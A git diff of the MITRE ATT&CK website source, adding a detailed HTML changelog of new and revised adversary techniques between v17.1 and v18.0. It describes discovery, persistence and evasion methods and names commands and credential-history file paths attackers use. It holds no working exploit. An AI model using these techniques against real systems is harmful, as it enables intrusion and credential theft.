Reads the STIX and creates a list of the ATT&CK mitigations - mitigations[domain["name"]] = util.stixhelpers.get_mitigation_list(ms[domain["name"]]) - mitigations_with_deprecated[domain["name"]] = util.stixhelpers.get_mitigation_list( + mitigations[domain["name"]] = util.stixhelpers.get_mitigation_list_from_src(ms[domain["name"]]) + mitigations_with_deprecated[domain["name"]] = util.stixhelpers.get_mitigation_list_from_src( src=ms[domain["name"]], get_deprecated=True ) diff --git a/modules/mitigations/mitigations_config.py b/modules/mitigations/mitigations_config.py index 1ba778f6bd4..47d9af8178c 100644 --- a/modules/mitigations/mitigations_config.py +++ b/modules/mitigations/mitigations_config.py @@ -1,6 +1,7 @@ from string import Template module_name = "Mitigations" +module_tab_name = "Defenses" priority = 5 # Markdown path for mitigations diff --git a/modules/resources/docs/changelogs/v17.1-v18.0/changelog-detailed.html b/modules/resources/docs/changelogs/v17.1-v18.0/changelog-detailed.html new file mode 100644 index 00000000000..5a27271abbc --- /dev/null +++ b/modules/resources/docs/changelogs/v17.1-v18.0/changelog-detailed.html @@ -0,0 +1,4922 @@ + + + + ATT&CK Changes + + + + +

ATT&CK Changes Between v17.1 and v18.0

Key

+ + + + +
+ + + + + +
Colors for description field
Added
Changed
Deleted
+
+

Additional formats

+

These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.

+ +

This JSON file contains the machine readble output used to create this page: changelog.json

+

Techniques

enterprise-attack

New Techniques

[T1518.002] Software Discovery: Backup Software Discovery

Current version: 1.0

Description:

Adversaries may attempt to get a listing of backup software or configurations that are installed on a system. Adversaries may use this information to shape follow-on behaviors, such as Data Destruction, Inhibit System Recovery, or Data Encrypted for Impact.

+

Commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for, such as Veeam, Acronis, Dropbox, or Paragon.(Citation: Symantec Play Ransomware 2023)


[T1036.012] Masquerading: Browser Fingerprint

Current version: 1.0

Description:

Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.(Citation: Mozilla User Agent)

+

Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.(Citation: Gummy Browsers: Targeted Browser Spoofing against State-of-the-Art Fingerprinting Techniques)


[T1059.013] Command and Scripting Interpreter: Container CLI/API

Current version: 1.0

Description:

Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments.

+

The Docker CLI is used for managing containers via an exposed API point from the dockerd daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.(Citation: Docker Desktop CLI)

+

Adversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the curl command to download payloads.(Citation: Intezer) Adversaries may also utilize docker inspect and docker ps to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery).(Citation: Cisco Talos Blog)(Citation: aquasec)

+

Kubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as kubectl. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via curl or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars.(Citation: aquasec) They may also run various commands regarding resource management.


[T1213.006] Data from Information Repositories: Databases

Current version: 1.0

Description:

Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments).

+

Examples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for Lateral Movement, Command and Control, or Exfiltration. Data exfiltrated from databases may also be used to extort victims or may be sold for profit.(Citation: Google Cloud Threat Intelligence UNC5537 Snowflake 2024)


[T1678] Delay Execution

Current version: 1.0

Description:

Adversaries may employ various time-based methods to evade detection and analysis. These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems.

+

Adversaries may utilize programmatic sleep commands or native system scheduling functionality, for example Scheduled Task/Job. Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as ping, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)


[T1562.013] Impair Defenses: Disable or Modify Network Device Firewall

Current version: 1.0

Description:

Adversaries may disable network device-based firewall mechanisms entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage.

+

Modifying or disabling a network firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions.(Citation: Exposed Fortinet Fortigate firewall interface leads to LockBit Ransomware)

+

Adversaries may gain access to the firewall management console via Valid Accounts or by exploiting a vulnerability. In some cases, threat actors may target firewalls that have been exposed to the internet Exploit Public-Facing Application.(Citation: CVE-2024-55591 Detail)


[T1680] Local Storage Discovery

Current version: 1.0

Description:

Adversaries may enumerate local drives, disks, and/or volumes and their attributes like total or free space and volume serial number. This can be done to prepare for ransomware-related encryption, to perform Lateral Movement, or as a precursor to Direct Volume Access.

+

On ESXi systems, adversaries may use Hypervisor CLI commands such as esxcli to list storage connected to the host as well as .vmdk files.(Citation: TrendMicro)(Citation: TrendMicro ESXI Ransomware)

+

On Windows systems, adversaries can use wmic logicaldisk get to find information about local network drives. They can also use Get-PSDrive in PowerShell to retrieve drives and may additionally use Windows API functions such as GetDriveType.(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Volexity)

+

Linux has commands such as parted, lsblk, fdisk, lshw, and df that can list information about disk partitions such as size, type, file system types, and free space. The command diskutil on MacOS can be used to list disks while system_profiler SPStorageDataType can additionally show information such as a volume’s mount path, file system, and the type of drive in the system.

+

Infrastructure as a Service (IaaS) cloud providers also have commands for storage discovery such as describe volume in AWS, gcloud compute disks list in GCP, and az disk list in Azure.(Citation: AWS docs describe volumes)(Citation: GCP gcloud compute disks list)(Citation: azure az disk)


[T1204.005] User Execution: Malicious Library

Current version: 1.0

Description:

Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)

+

In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.


[T1677] Poisoned Pipeline Execution

Current version: 1.0

Description:

Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines:

+ +

By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).


[T1546.018] Event Triggered Execution: Python Startup Hooks

Current version: 1.0

Description:

Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (.pth) files and the sitecustomize.py or usercustomize.py modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.(Citation: Volexity GlobalProtect CVE 2024)

+

Path configuration files are designed to extend Python’s module search paths through the use of import statements. If a .pth file is placed in Python's site-packages or dist-packages directories, any lines beginning with import will be executed automatically on Python invocation.(Citation: DFIR Python Persistence 2025) Similarly, if sitecustomize.py or usercustomize.py is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.(Citation: Python Site Configuration Hook)

+

Adversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).


[T1681] Search Threat Vendor Data

Current version: 1.0

Description:

Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations.

+

Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023) Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.(Citation: Sentinel One Contagious Interview ClickFix September 2025)

+

This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.


[T1679] Selective Exclusion

Current version: 1.0

Description:

Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include .dll, .exe, and .lnk.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)

+

Adversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice.

+

Exclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.

Major Version Changes

[T1552.003] Unsecured Credentials: Shell History

Current version: 2.0

Version changed from: 1.2 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may search the bash command history on compromist1Adversaries may search the command history on compromised sy
>ed systems for insecurely stored credentials. Bash keeps tra>stems for insecurely stored credentials.  On Linux and macOS
>ck of the commands users type on the command-line with the "> systems, shells such as Bash and Zsh keep track of the comm
>history" utility. Once a user logs out, the history is flush>ands users type on the command-line with the "history" utili
>ed to the user’s <code>.bash_history</code> file. For each u>ty. Once a user logs out, the history is flushed to the user
>ser, this file resides at the same location: <code>~/.bash_h>'s history file. For each user, this file resides at the sam
>istory</code>. Typically, this file keeps track of the user’>e location: for example, `~/.bash_history` or `~/.zsh_histor
>s last 500 commands. Users often type usernames and password>y`. Typically, these files keeps track of the user's last 10
>s on the command-line as parameters to programs, which then >00 commands.  On Windows, PowerShell has both a command hist
>get saved to this file when they log out. Adversaries can ab>ory that is wiped after the session ends, and one that conta
>use this by looking through the file for potential credentia>ins commands used in all sessions and is persistent. The def
>ls. (Citation: External to DA, the OS X Way)>ault location for persistent history can be found in `%userp
 >rofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadl
 >ine\ConsoleHost_history.txt`, but command history can also b
 >e accessed with `Get-History`. Command Prompt (CMD) on Windo
 >ws does not have persistent history.(Citation: Microsoft abo
 >ut_History)(Citation: Medium)  Users often type usernames an
 >d passwords on the command-line as parameters to programs, w
 >hich then get saved to this file when they log out. Adversar
 >ies can abuse this by looking through the file for potential
 > credentials.(Citation: External to DA, the OS X Way)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Raja Singh (raja-singh-r3v-sh3ll)', 'Avioo360']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:52:49.389000+00:002025-10-24 17:49:02.375000+00:00
nameBash HistoryShell History
descriptionAdversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)Adversaries may search the command history on compromised systems for insecurely stored credentials. + +On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands. + +On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium) + +Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history.
x_mitre_version1.22.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Medium', 'description': 'Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.', 'url': 'https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4'}
external_references{'source_name': 'Microsoft about_History', 'description': 'Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.', 'url': 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5'}
x_mitre_platformsWindows

[T1082] System Information Discovery

Current version: 3.0

Version changed from: 2.6 → 3.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1An adversary may attempt to get detailed information about tt1An adversary may attempt to get detailed information about t
>he operating system and hardware, including version, patches>he operating system and hardware, including version, patches
>, hotfixes, service packs, and architecture. Adversaries may>, hotfixes, service packs, and architecture. Adversaries may
> use the information from [System Information Discovery](htt> use this information to shape follow-on behaviors, includin
>ps://attack.mitre.org/techniques/T1082during automated dis>g whether or not the adversary fully infects the target and/
>covery to shape follow-on behaviorsincluding whether or no>or attempts specific actions. This behavior is distinct from
>t the adversary fully infects the target and/or attempts spe> [Local Storage Discovery](https://attack.mitre.org/techniqu
>cific actions.  Tools such as [Systeminfo](https://attack.mi>es/T1680) which is an adversary's discovery of local drive
>tre.org/software/S0096) can be used to gather detailed syste>disks and/or volumes.  Tools such as [Systeminfo](https://at
>m information. If running with privileged access, a breakdow>tack.mitre.org/software/S0096) can be used to gather detaile
>n of system data can be gathered through the <code>systemset>d system information. If running with privileged access, a b
>up</code> configuration tool on macOS. As an example, advers>reakdown of system data can be gathered through the <code>sy
>aries with user-level access can execute the <code>df -aH</c>stemsetup</code> configuration tool on macOS. Adversaries ma
>ode> command to obtain currently mounted disks and associate>y leverage a [Network Device CLI](https://attack.mitre.org/t
>d freely available space. Adversaries may also leverage a [N>echniques/T1059/008) on network devices to gather detailed s
>etwork Device CLI](https://attack.mitre.org/techniques/T1059>ystem information (e.g. <code>show version</code>).(Citation
>/008) on network devices to gather detailed system informati>: US-CERT-TA18-106A) On ESXi servers, threat actors may gath
>on (e.g. <code>show version</code>).(Citation: US-CERT-TA18->er system information from various esxcli utilities, such as
>106A) On ESXi servers, threat actors may gather system infor> `system hostname get` and `system version get`.(Citation: C
>mation from various esxcli utilities, such as `system hostna>rowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varon
>me get`, `system version get`, and `storage filesystem list`>is)  Infrastructure as a Service (IaaS) cloud providers such
> (to list storage volumes).(Citation: Crowdstrike Hypervisor> as AWS, GCP, and Azure allow access to instance and virtual
> Jackpotting Pt 2 2021)(Citation: Varonis)  Infrastructure a> machine information via APIs. Successful authenticated API 
>s a Service (IaaS) cloud providers such as AWS, GCP, and Azu>calls can return data such as the operating system platform 
>re allow access to instance and virtual machine information >and status of a particular instance or the model view of a v
>via APIs. Successful authenticated API calls can return data>irtual machine.(Citation: Amazon Describe Instance)(Citation
> such as the operating system platform and status of a parti>: Google Instances Resource)(Citation: Microsoft Virutal Mac
>cular instance or the model view of a virtual machine.(Citat>hine API)  [System Information Discovery](https://attack.mit
>ion: Amazon Describe Instance)(Citation: Google Instances Re>re.org/techniques/T1082) combined with information gathered 
>source)(Citation: Microsoft Virutal Machine API)  [System In>from other forms of discovery and reconnaissance can drive p
>formation Discovery](https://attack.mitre.org/techniques/T10>ayload development and concealment.(Citation: OSX.FairyTale)
>82) combined with information gathered from other forms of d>(Citation: 20 macOS Common Tools and Techniques) 
>iscovery and reconnaissance can drive payload development an 
>d concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS C 
>ommon Tools and Techniques)  

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:21.308000+00:002025-10-24 17:48:38.277000+00:00
descriptionAn adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. + +Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis) + +Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) + +[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes. + +Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis) + +Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) + +[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
x_mitre_version2.63.0

[T1597.001] Search Closed Sources: Threat Intel Vendors

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may search private data from threat intelligencet1Adversaries may search private data from threat intelligence
> vendors for information that can be used during targeting. > vendors for information that can be used during targeting. 
>Threat intelligence vendors may offer paid feeds or portals >Threat intelligence vendors may offer paid feeds or portals 
>that offer more data than what is publicly reported. Althoug>that offer more data than what is publicly reported. Althoug
>h sensitive details (such as customer names and other identi>h sensitive details (such as customer names and other identi
>fiers) may be redacted, this information may contain trends >fiers) may be redacted, this information may contain trends 
>regarding breaches such as target industries, attribution cl>regarding breaches such as target industries, attribution cl
>aims, and successful TTPs/countermeasures.(Citation: D3Secut>aims, and successful TTPs/countermeasures.(Citation: D3Secut
>rity CTI Feeds)  Adversaries may search in private threat in>rity CTI Feeds)  Adversaries may search in private threat in
>telligence vendor data to gather actionable information. Thr>telligence vendor data to gather actionable information. If 
>eat actors may seek information/indicators gathered about th>a threat actor is searching for information on their own act
>eir own campaigns, as well as those conducted by other adver>ivities, that falls under [Search Threat Vendor Data](https:
>saries that may align with their target industries, capabili>//attack.mitre.org/techniques/T1681). Information reported b
>ties/objectives, or other operational concerns. Information >y vendors may also reveal opportunities other forms of recon
>reported by vendors may also reveal opportunities other form>naissance (ex: [Search Open Websites/Domains](https://attack
>s of reconnaissance (ex: [Search Open Websites/Domains](http>.mitre.org/techniques/T1593)), establishing operational reso
>s://attack.mitre.org/techniques/T1593)), establishing operat>urces (ex: [Develop Capabilities](https://attack.mitre.org/t
>ional resources (ex: [Develop Capabilities](https://attack.m>echniques/T1587) or [Obtain Capabilities](https://attack.mit
>itre.org/techniques/T1587) or [Obtain Capabilities](https://>re.org/techniques/T1588)), and/or initial access (ex: [Explo
>attack.mitre.org/techniques/T1588)), and/or initial access (>it Public-Facing Application](https://attack.mitre.org/techn
>ex: [Exploit Public-Facing Application](https://attack.mitre>iques/T1190) or [External Remote Services](https://attack.mi
>.org/techniques/T1190) or [External Remote Services](https:/>tre.org/techniques/T1133)).
>/attack.mitre.org/techniques/T1133)). 

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:16:02.261000+00:002025-10-24 17:48:46.954000+00:00
descriptionAdversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) + +Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) + +Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under [Search Threat Vendor Data](https://attack.mitre.org/techniques/T1681). Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
x_mitre_version1.02.0

[T1497.003] Virtualization/Sandbox Evasion: Time Based Checks

Current version: 2.0

Version changed from: 1.3 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may employ various time-based methods to detect t1Adversaries may employ various time-based methods to detect 
>and avoid virtualization and analysis environments. This may>virtualization and analysis environments, particularly those
> include enumerating time-based properties, such as uptime o> that attempt to manipulate time mechanisms to simulate long
>r the system clock, as well as the use of timers or other tr>er elapses of time. This may include enumerating time-based 
>iggers to avoid a virtual machine environment (VME) or sandb>properties, such as uptime or the system clock.   Adversarie
>ox, specifically those that are automated or only operate fo>s may use calls like `GetTickCount` and `GetSystemTimeAsFile
>r a limited amount of time.  Adversaries may employ various >Time` to discover if they are operating within a virtual mac
>time-based evasions, such as delaying malware functionality >hine or sandbox, or may be able to identify a sandbox accele
>upon initial execution using programmatic sleep commands or >rating time by sampling and calculating the expected value f
>native system scheduling functionality (ex: [Scheduled Task/>or an environment's timestamp before and after execution of 
>Job](https://attack.mitre.org/techniques/T1053)). Delays may>a sleep function.(Citation: ISACA Malware Tricks)
> also be based on waiting for specific victim conditions to  
>be met (ex: system time, events, etc.) or employ scheduled [ 
>Multi-Stage Channels](https://attack.mitre.org/techniques/T1 
>104) to avoid analysis and scrutiny.(Citation: Deloitte Envi 
>ronment Awareness)  Benign commands or other operations may  
>also be used to delay malware execution. Loops or otherwise  
>needless repetitions of commands, such as [Ping](https://att 
>ack.mitre.org/software/S0097)s, may be used to delay malware 
> execution and potentially exceed time thresholds of automat 
>ed analysis environments.(Citation: Revil Independence Day)( 
>Citation: Netskope Nitol) Another variation, commonly referr 
>ed to as API hammering, involves making various calls to [Na 
>tive API](https://attack.mitre.org/techniques/T1106) functio 
>ns in order to delay execution (while also potentially overl 
>oading analysis environments with junk data).(Citation: Joe  
>Sec Nymaim)(Citation: Joe Sec Trickbot)  Adversaries may als 
>o use time as a metric to detect sandboxes and analysis envi 
>ronments, particularly those that attempt to manipulate time 
> mechanisms to simulate longer elapses of time. For example, 
> an adversary may be able to identify a sandbox accelerating 
> time by sampling and calculating the expected value for an  
>environment's timestamp before and after execution of a slee 
>p function.(Citation: ISACA Malware Tricks) 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:29.032000+00:002025-10-24 17:48:44.870000+00:00
nameTime Based EvasionTime Based Checks
descriptionAdversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. + +Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) + +Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) + +Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. + +Adversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating 